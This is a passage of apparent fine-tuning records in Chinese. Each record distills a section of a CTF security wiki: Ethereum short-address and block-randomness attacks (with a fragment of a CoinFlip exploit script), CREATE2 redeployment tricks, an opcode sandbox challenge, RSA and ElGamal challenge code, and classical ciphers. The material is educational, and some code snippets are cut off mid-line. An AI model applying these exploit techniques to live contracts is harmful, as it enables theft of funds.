{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-e24aacf44b782fa3ca1a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/shortaddress.md` 中的章节「题目」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/shortaddress.md`\n标题：Short Address Attack\n章节：Short Address Attack > 题目\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“题目”展开。\n- 但是，可以使用 geth 搭建私链，使用 sendRawTransaction() 发送交易复现，可自行尝试。\n- 不过可以复现成功，但是不能通过 Remix 复现，因为客户端会检查地址长度；\n- 虽然 EVM 层仍然可以复现，但是在实际应用场景中基本没有问题。\n- 也不能通过 sendTransaction()，因为 web3 中也加了保护。\n- note 注：目前主要依靠客户端主动检查地址长度来避免该问题，另外 web3 层面也增加了参数格式校验。\n\n关键术语：\n- 区块链安全\n- AI安全\n- 修复/缓解\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- shortaddress.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 250, "chunk_count": 1, "chunk_index": 0, "ctf_score": 23, "ctf_task_type": "blockchain", "heading": "题目", "heading_path": ["Short Address Attack", "题目"], "original_id": "docs-f1313145fb1b6f152ea3", "original_line": 184, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/shortaddress.md", "source_root": "docs", "source_sha256": "8bae3d68c35eeaed721e7c639c5be61f24b7dba8d7c54168ca157661b55c5c2a", "split": "train", "split_group_key": "663e66cbbbb8281c741dfdfb", "subcategory": "blockchain/ethereum/attacks", "terms": ["区块链安全", "AI安全", "修复/缓解", "漏洞利用", "blockchain", "ethereum", "attacks", "shortaddress.md"], "title": "Short Address Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/shortaddress.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-ea995f0d1743bbb506da", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/basics.md` 中的章节「交易」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/basics.md`\n标题：Ethereum Basics\n章节：Ethereum Basics > 交易\n路径分类：blockchain / blockchain/ethereum/basics.md\n分块：1/1\n\n核心知识点：\n- 以太坊上的每一笔交易都需要支付一定的费用，用于支付交易执行所需要的计算开销。\n- 以太坊的交易主要是指一条外部账户发送到区块链上另一账户的消息的签名数据包，其主要包含发送者的签名、接收者的地址以及发送者转移给接收者的以太币数量等内容。\n- 计算开销的费用并不是以太币直接计算的，而是引入 Gas 作为执行开销的基本单位，通过 GasPrice 与以太币进行换算的。\n- GasPrice 根据市场波动调整，避免以太币价值受市场价格的影响。\n- 交易是以太坊整体结构中的重要部分，它将以太坊的账户连接起来，起到价值的传递作用。\n\n关键术语：\n- 区块链安全\n- AI安全\n- blockchain\n- ethereum\n- basics.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 252, "chunk_count": 1, "chunk_index": 0, "ctf_score": 19, "ctf_task_type": "blockchain", "heading": "交易", "heading_path": ["Ethereum Basics", "交易"], "original_id": "docs-ac83d09e349ead18fb45", "original_line": 132, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/basics.md", "source_root": "docs", "source_sha256": "8cd9c1866162f89bb7bc59322754c15c8921826d7c75c478c4c6c3c260007551", "split": "train", "split_group_key": "a7bd6a85f37bd3690edfc099", "subcategory": "blockchain/ethereum/basics.md", "terms": ["区块链安全", "AI安全", "blockchain", "ethereum", "basics.md"], "title": "Ethereum Basics"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/basics.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-eb0589ec4a05ffa1bde4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/basics.md` 中的章节「MetaMask」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/basics.md`\n标题：Ethereum Basics\n章节：Ethereum Basics > MetaMask\n路径分类：blockchain / blockchain/ethereum/basics.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“MetaMask”展开。\n- 非常好用也是用的最多的以太坊钱包，头像是小狐狸标识，Chrome 提供了其插件，其不仅可以管理外部账户，而且可以便捷切换测试链网络，并且可以自定义 RPC 网络。\n- info 一个外部账户通常由私钥文件控制，拥有私钥的用户就可以拥有对应地址的账户里的 Ether 使用权。\n- 我们通常把管理这些数字密钥的软件称为钱包，而我们所说的备份钱包其实就是备份账户的私钥文件。\n\n关键术语：\n- 区块链安全\n- AI安全\n- blockchain\n- ethereum\n- basics.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 186, "chunk_count": 1, "chunk_index": 0, "ctf_score": 19, "ctf_task_type": "blockchain", "heading": "MetaMask", "heading_path": ["Ethereum Basics", "MetaMask"], "original_id": "docs-0eb39873208ffda902ec", "original_line": 130, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/basics.md", "source_root": "docs", "source_sha256": "8cd9c1866162f89bb7bc59322754c15c8921826d7c75c478c4c6c3c260007551", "split": "train", "split_group_key": "26e3cd331ea3be6f70aebc62", "subcategory": "blockchain/ethereum/basics.md", "terms": ["区块链安全", "AI安全", "blockchain", "ethereum", "basics.md"], "title": "Ethereum Basics"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/basics.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-ebd4db5fcbdd00eca076", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/randomness.md` 中的章节「例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/randomness.md`\n标题：Randomness\n章节：Randomness > 使用区块变量的伪随机数 > 例子\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例子”展开。\n- 所以编写如下攻击脚本，调用 10 次 exploit() 即可 `solidity pragma solidity ^0.4.18;\n- function exploit() public { uint256 blockValue = uint256(block.blockhash(block.number-1));\n- ``solidity pragma solidity ^0.4.18;\n- 如果使用可以被挖矿的矿工所控制的变量，如区块哈希值，时间戳，区块高低或是 Gas 上限等作为随机数的熵源，产生的随机数并不安全。\n- function CoinFlip() public { consecutiveWins = 0;\n\n关键术语：\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- randomness.md\n- code:solidity\n\n代码/命令片段线索：\n- solidity: 26 行，首行 `pragma solidity ^0.4.18;`\n- solidity: 36 行，首行 `pragma solidity ^0.4.18;`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 2050, "chunk_count": 1, "chunk_index": 0, "ctf_score": 25, "ctf_task_type": "blockchain", "heading": "例子", "heading_path": ["Randomness", "使用区块变量的伪随机数", "例子"], "original_id": "docs-73939b5c48851a469bb6", "original_line": 180, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/randomness.md", "source_root": "docs", "source_sha256": "ba2f6577866112dfaa7937bce8f66b068b3499c7af28aba5f2126be866be7cc5", "split": "train", "split_group_key": "122037e40e219cec2ef3eddd", "subcategory": "blockchain/ethereum/attacks", "terms": ["区块链安全", "AI安全", "漏洞利用", "blockchain", "ethereum", "attacks", "randomness.md", "code:solidity"], "title": "Randomness"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/randomness.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-ecb762565d28010151ad", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/challenges.md` 中的章节「Ethereum Smart Contract」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/challenges.md`\n标题：Blockchain Security Challenges\n章节：Blockchain Security Challenges > Blockchain Security Challenges in CTF > Ethereum Smart Contract\n路径分类：blockchain / blockchain/challenges.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Ethereum Smart Contract”展开。\n- - RealWorld - 2021 + 题目名称 Re: Montagy + 题目名称 EasyDefi\n- - 高校战“疫”网络安全分享赛 - 2020 + 题目名称 OwnerMoney\n- - 第五空间 - 2020 + 题目名称 CreativityPlus + 题目名称 SafeDelegatecall\n- - 第一届钓鱼城杯 - 2020 + 题目名称 StrictMathematician\n- - QWB - 2020 + 题目名称 IPFS + 题目名称 EasyAssembly + 题目名称 EasyFake + 题目名称 EasySandbox + 题目名称 EthGaMe (EGM) + 题目名称 EBK\n\n关键术语：\n- 区块链安全\n- AI安全\n- blockchain\n- challenges.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 1401, "chunk_count": 1, "chunk_index": 0, "ctf_score": 23, "ctf_task_type": "blockchain", "heading": "Ethereum Smart Contract", "heading_path": ["Blockchain Security Challenges", "Blockchain Security Challenges in CTF", "Ethereum Smart Contract"], "original_id": "docs-253b18c6f4691236f68e", "original_line": 128, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/challenges.md", "source_root": "docs", "source_sha256": "1f5f6784399cc85eae9741b340c486348077befe391df570d2add24412f6209c", "split": "train", "split_group_key": "0801e20f25a8dc822a00cbc8", "subcategory": "blockchain/challenges.md", "terms": ["区块链安全", "AI安全", "blockchain", "challenges.md"], "title": "Blockchain Security Challenges"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/challenges.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-f352c4d85b3783b6aec0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/resources.md` 中的章节「Visualization」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/resources.md`\n标题：学习资源\n章节：学习资源 > Security Tools > Visualization\n路径分类：blockchain / blockchain/ethereum/resources.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Visualization”展开。\n- Includes a VM, Etherchain API, and a trace-viewer. - ethereum-graph-debugger - A graphical EVM debugger.\n- Also supports querying the function call graph. - Solgraph - Generates a DOT graph that visualizes function control flow of a Solidity contract and highlights potential security vulnerabilities. - EVM Lab - Rich tool package to interact with the EVM.\n- Solidity Visual Auditor - This extension contributes security centric syntax and semantic highlighting, a detailed class outline and advanced Solidity code insights to Visual Studio Code - Sūrya - Utility tool for smart contract systems, offering a number o...\n- Displays the entire program control flow graph. - Piet - Web application helping understand smart contract architectures.\n- Offers graphical representation and inspection of smart contracts as well as a markdown documentation generator.\n\n关键术语：\n- 区块链安全\n- AI安全\n- blockchain\n- ethereum\n- resources.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 1214, "chunk_count": 1, "chunk_index": 0, "ctf_score": 19, "ctf_task_type": "blockchain", "heading": "Visualization", "heading_path": ["学习资源", "Security Tools", "Visualization"], "original_id": "docs-2974ef2a4ee5957e29b8", "original_line": 140, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/resources.md", "source_root": "docs", "source_sha256": "06890a673d8c6e7a20d5639ee5700d7ad0609264f8f995906909720c78edca9e", "split": "train", "split_group_key": "51bc827a593db8ebdb87436d", "subcategory": "blockchain/ethereum/resources.md", "terms": ["区块链安全", "AI安全", "blockchain", "ethereum", "resources.md"], "title": "学习资源"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/resources.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-f4e6c681eb712ae3bf3f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/create2.md` 中的章节「CREATE2」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/create2.md`\n标题：CREATE2\n章节：CREATE2 > 原理 > CREATE2\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 不同于原来的 CREATE 操作码，在合约地址的计算方法上，CREATE2 不再依赖于账户的 nonce，而是对以下参数进行哈希计算，得出新的地址： - 合约创建者的地址（address) - 作为参数的混淆值（salt） - 合约创建代码 (init_code) 具体的计算公式如下： ``python keccak256(0xff ++ address ++ salt ++ keccak256(init_code))[12:] ` 一个需要注意的重要细节是，计算合约地址所需的最后一个参数并非合约代码，而是其...\n- 事实上 CREATE2` 这种让合约在部署后可以被重新更改的特性存在着潜在的安全问题，也引起了人们对其的讨论。\n- 这意味着，如果我们控制了合约的创建代码并使其保持不变，然后控制合约构造函数返回的运行时字节码，那么我们很容易就能做到在同一个地址上，反复部署完全不同的合约。\n- 在 CTF 中，这种特性往往会被用来作为一个技巧，通过在同一个地址上部署不同的合约用来 bypass 不同的校验。\n- 该代码是用来创建合约的，合约创建完成后将返回运行时字节码。\n\n关键术语：\n- 密码学\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- create2.md\n- code:python\n\n代码/命令片段线索：\n- python: 1 行，首行 `keccak256(0xff ++ address ++ salt ++ keccak256(init_code))[12:]`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 598, "chunk_count": 1, "chunk_index": 0, "ctf_score": 23, "ctf_task_type": "blockchain", "heading": "CREATE2", "heading_path": ["CREATE2", "原理", "CREATE2"], "original_id": "docs-5dd2814fd252bb5387b0", "original_line": 167, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/create2.md", "source_root": "docs", "source_sha256": "bf2b74e3d23ae3cf1f70f1d7c39cd029f3094d219f8c83c9ebda5d137cec8e08", "split": "train", "split_group_key": "61447a45b17421fabe048ba8", "subcategory": "blockchain/ethereum/attacks", "terms": ["密码学", "区块链安全", "AI安全", "漏洞利用", "blockchain", "ethereum", "attacks", "create2.md", "code:python"], "title": "CREATE2"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/create2.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-f69473654e12fc7742d2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/opcodes.md` 中的章节「例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/opcodes.md`\n标题：Ethereum Opcodes\n章节：Ethereum Opcodes > 例子\n路径分类：blockchain / blockchain/ethereum/opcodes.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例子”展开。\n- 题目合约的源码如下： ``solidity pragma solidity ^0.5.11;\n- } } ` 可以看到题目的 StArNDBoX 函数可以获取任意地址的合约并检测该合约的每个字节是否为质数，如果通过检查则使用 delegatecall 来调用目标合约。\n- library Math { function invMod(int256 _x, int256 _pp) internal pure returns (int) { int u3 = _x;\n- } function expMod(int base, int pow,int mod) internal pure returns (int res){ res = 1;\n- pow >>= 1) { if (pow & 1 == 1) { res = (base res) % mod;\n\n关键术语：\n- 区块链安全\n- AI安全\n- blockchain\n- ethereum\n- opcodes.md\n- code:solidity\n\n代码/命令片段线索：\n- solidity: 125 行，首行 `pragma solidity ^0.5.11;`\n- plain: 11 行，首行 `// 0x6100016100016100016100016100016100650361000161fbfbf1`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 2896, "chunk_count": 1, "chunk_index": 0, "ctf_score": 21, "ctf_task_type": "blockchain", "heading": "例子", "heading_path": ["Ethereum Opcodes", "例子"], "original_id": "docs-f2e0ee74a8dcaa79d03b", "original_line": 138, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/opcodes.md", "source_root": "docs", "source_sha256": "83b2e1fe562b87b28ce5a9951941066867b20da95a20a1672867a0b75986c6a0", "split": "train", "split_group_key": "7ec722636937c8803b649cd3", "subcategory": "blockchain/ethereum/opcodes.md", "terms": ["区块链安全", "AI安全", "blockchain", "ethereum", "opcodes.md", "code:solidity"], "title": "Ethereum Opcodes"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/opcodes.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-003d26398b9757aee410", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md` 中的章节「开放探讨」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md`\n标题：扩展维纳攻击\n章节：扩展维纳攻击 > 开放探讨\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“开放探讨”展开。\n- 对于现在扩展维纳的问题都是$n=2$或者是$n=3$时候的模板题，对于更高维的情况，可以编写自动化的脚本来完整自动选择关系、自动构造格等步骤，比如上述内容就是自动生成的。\n- 但是对于$n$每增加1，矩阵则是指数倍增加，因为这是一个$2^n 2^n$的矩阵，这时候直接调用sagemath中的LLL()变得非常缓慢，大约$n=8$的情况已经运行不出来了，我曾尝试寻找LLL在CUDA上的并行算法或是一些其他优化方案实现，但是都是找到了论文没有给出源码的情况。\n- 如果您对这方面有所研究或者有什么更好的优化方法，欢迎联系我（Xenny）一起进行更加深入的探讨。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- d-attacks\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 319, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "开放探讨", "heading_path": ["扩展维纳攻击", "开放探讨"], "original_id": "docs-2e8731e4f4e6a19c3699", "original_line": 300, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md", "source_root": "docs", "source_sha256": "6259fc513790c9ff568013f584880f4a71f53961789ec6058ea303d80373bd75", "split": "train", "split_group_key": "ed24f148144a6df219c321d9", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "d-attacks"], "title": "扩展维纳攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-0168daadc0b5204e75a0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/polyalphabetic.md` 中的章节「工具」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/polyalphabetic.md`\n标题：多表代换加密\n章节：多表代换加密 > Vigenere 维吉尼亚密码 > 工具\n路径分类：crypto / crypto/classical/polyalphabetic.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“工具”展开。\n- 已知密钥 - Python 的 pycipher 库 - 在线解密 Vigenère cipher - CAP4 - 未知密钥 - Vigenère Cipher Codebreaker - Vigenere Solver ，不够完善。\n\n关键术语：\n- 密码学\n- crypto\n- classical\n- polyalphabetic.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 268, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "工具", "heading_path": ["多表代换加密", "Vigenere 维吉尼亚密码", "工具"], "original_id": "docs-6c6e5390e56a5093d69e", "original_line": 380, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/polyalphabetic.md", "source_root": "docs", "source_sha256": "16e9d23649907764bf91530b02b8733cc909e3ba9fa80e74a20055102c0215a0", "split": "train", "split_group_key": "b983fd15b0e84ad224391f5e", "subcategory": "crypto/classical/polyalphabetic.md", "terms": ["密码学", "crypto", "classical", "polyalphabetic.md"], "title": "多表代换加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/polyalphabetic.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-02bcd21f67bfad41f2d6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/discrete-log/elgamal.md` 中的章节「2018 Code Blue lagalem」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/discrete-log/elgamal.md`\n标题：ElGamal\n章节：ElGamal > 2018 Code Blue lagalem\n路径分类：crypto / crypto/asymmetric/discrete-log\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2018 Code Blue lagalem”展开。\n- ```python from Crypto.Util.number import * from key import FLAG\n- size = 2048 rand_state = getRandomInteger(size // 2)\n- def keygen(size): q = getPrime(size) k = 2 while True: p = q * k + 1 if isPrime(p): break k += 1 g = 2 while True: if pow(g, q, p) == 1: break g += 1 A = getRandomInteger(size) % q B = getRandomInteger(size) % q x = getRandomInteger(size) % q h = pow(g, x,...\n- def rand(A, B, M): global rand_state rand_state, ret = (A * rand_state + B) % M, rand_state return ret\n- def encrypt(pubkey, m): g, h, A, B, p, q = pubkey assert 0 < m <= p r = rand(A, B, q) c1 = pow(g, r, p) c2 = (m * pow(h, r, p)) % p return (c1, c2)\n\n关键术语：\n- 密码学\n- crypto\n- asymmetric\n- discrete-log\n- elgamal.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 700, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "2018 Code Blue lagalem", "heading_path": ["ElGamal", "2018 Code Blue lagalem"], "original_id": "docs-e85c063d7a63bf0fa867", "original_line": 213, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/discrete-log/elgamal.md", "source_root": "docs", "source_sha256": "a9e9e778c3fba70f90b0104997db1213f33093dead9989df94e7797cb31c8f07", "split": "train", "split_group_key": "280cf93fc039eb0f6b90476f", "subcategory": "crypto/asymmetric/discrete-log", "terms": ["密码学", "crypto", "asymmetric", "discrete-log", "elgamal.md"], "title": "ElGamal"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/discrete-log/elgamal.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-054185bdb2c0305f0961", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/introduction.md` 中的章节「古典密码简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/introduction.md`\n标题：古典密码简介\n章节：古典密码简介\n路径分类：crypto / crypto/classical/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“古典密码简介”展开。\n- 值得一提的是，在古典密码学中，设计者主要考虑消息的保密性，使得只有相关密钥的人才可以解密密文获得消息的内容，对于消息的完整性和不可否认性则并没有进行太多的考虑。\n- 在古典密码学中，我们主要介绍单表替代密码，多表替代密码，以及一些其它比较有意思的密码。\n- 拓展阅读 - CTF 中那些脑洞大开的编码和加密 - 古典密码学发展史 - 古典密码——维基百科\n\n关键术语：\n- 密码学\n- crypto\n- classical\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 363, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "古典密码简介", "heading_path": ["古典密码简介"], "original_id": "docs-d51a848c469c640de324", "original_line": 360, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/introduction.md", "source_root": "docs", "source_sha256": "c7de25acdc310b9fe1ccc94ce583befa980fab65b367fd1cddb257578adb44d6", "split": "train", "split_group_key": "84f34bc540a83d0063d488d0", "subcategory": "crypto/classical/introduction.md", "terms": ["密码学", "crypto", "classical", "introduction.md"], "title": "古典密码简介"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/introduction.md", 